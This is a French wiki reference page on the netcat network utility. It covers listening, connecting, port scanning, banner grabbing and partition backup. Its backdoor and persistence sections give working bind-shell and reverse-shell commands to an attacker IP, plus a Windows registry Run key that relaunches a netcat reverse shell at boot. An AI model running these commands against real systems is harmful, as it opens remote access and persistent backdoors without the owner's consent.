Netcat

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Type Couteau suisse réseau TCP/UDP
Commande nc, netcat
Plateforme Linux, Windows, BSD
Usages Backdoor, scan de ports, transfert, MITM, backup
Voir aussi Cryptcat · ICMPSH

netcat (commande nc) est un utilitaire réseau universel qui lit et écrit des données à travers des connexions TCP ou UDP. Surnommé le « couteau suisse » du réseau, il peut agir comme :

  • client : il se connecte à un serveur distant ;
  • serveur : il se met en écoute de connexions clientes.

Il sert aussi bien au diagnostic réseau qu'à des usages offensifs : ouverture de portes dérobées (backdoor), scan de ports, récupération de bannières, transfert de fichiers ou de partitions.

Attention : il faut être root pour ouvrir un serveur sur un port privilégié (1 à 1023).

Installation

apt-get install netcat

Écoute et connexion de base

# Ouvrir le port 1234 en écoute (TCP)
nc -l -p 1234

# Ouvrir le port 1234 en UDP
nc -l -u -p 1234

# Se connecter au serveur (timeout 1 s)
nc -w 1 localhost 1234

# Tester si un port répond en UDP
nc -vzu 127.0.0.1 1234

Backdoor (shell distant)

Ouvrir un shell sur le port 1234 (porte dérobée) :

nc -nvv -l -p 1234 -e /bin/sh

Pour rendre l'écoute permanente (relancée après chaque déconnexion) :

while true; do nc -nvv -l -p 1234 -e /bin/sh; done

Reverse shell (« reverse telnet ») — la cible se connecte vers la machine de l'attaquant, ce qui contourne souvent le filtrage entrant :

# côté attaquant (écoute)
nc -l -p 666
# côté cible
nc ip_attaquant 666 -e /bin/bash

Sous Windows, le shell renvoyé est cmd.exe :

nc -L -p 10000 -e cmd.exe

Scan de ports

nc -vv -i 3000 -r -z ip_du_serveur 22 63 80-443 2222
  • -r : test dans un ordre aléatoire
  • -i : intervalle entre les tentatives (ms)
  • -v : verbeux
  • -z : scan « zéro I/O », ne s'arrête pas sur port ouvert

Variante :

netcat -vv -r -z 10.100.25.2 1-100

Récupérer une bannière

nc -v -n ip_du_serveur 80
GET / HTTP/1.1

Émuler un client telnet

netcat -t ip_serveur_telnet 23

Serveur / client entre OS

Serveur Linux, client Windows :

# Linux
nc -l -p 1234
# Windows
nc -v ip_linux 1234

Serveur Windows, client Linux :

nc.exe -d -l -p 1234 -e "c:\windows\system32\cmd.exe"
nc -v ip_windows 1234

Sauvegarde de partition via netcat

Sur la machine distante (réception, mode écoute) :

netcat -l -p 10000 > image.gz

Sur la machine source, lire la partition, la compresser et l'envoyer :

dd if=/dev/hda1 | gzip | netcat -w 5 remote_ip 10000

Micro-serveur HTTP

while true; do nc -l -p 8080 < index.html; done
while true; do echo "<pre>$(ps aux)</pre>" | nc -l 8080; done

Persistance Windows (registre)

Ajout d'une entrée Run qui relance netcat au démarrage en reverse shell (IP privée d'exemple) :

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "c:\windows\system32\nc.exe 192.168.1.2 443 -d -e cmd.exe"
reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc

Ressources

Voir aussi

  • Cryptcat — netcat avec canal chiffré
  • ICMPSH — reverse shell sur ICMP
  • Rootkit — dissimulation d'une backdoor sur l'hôte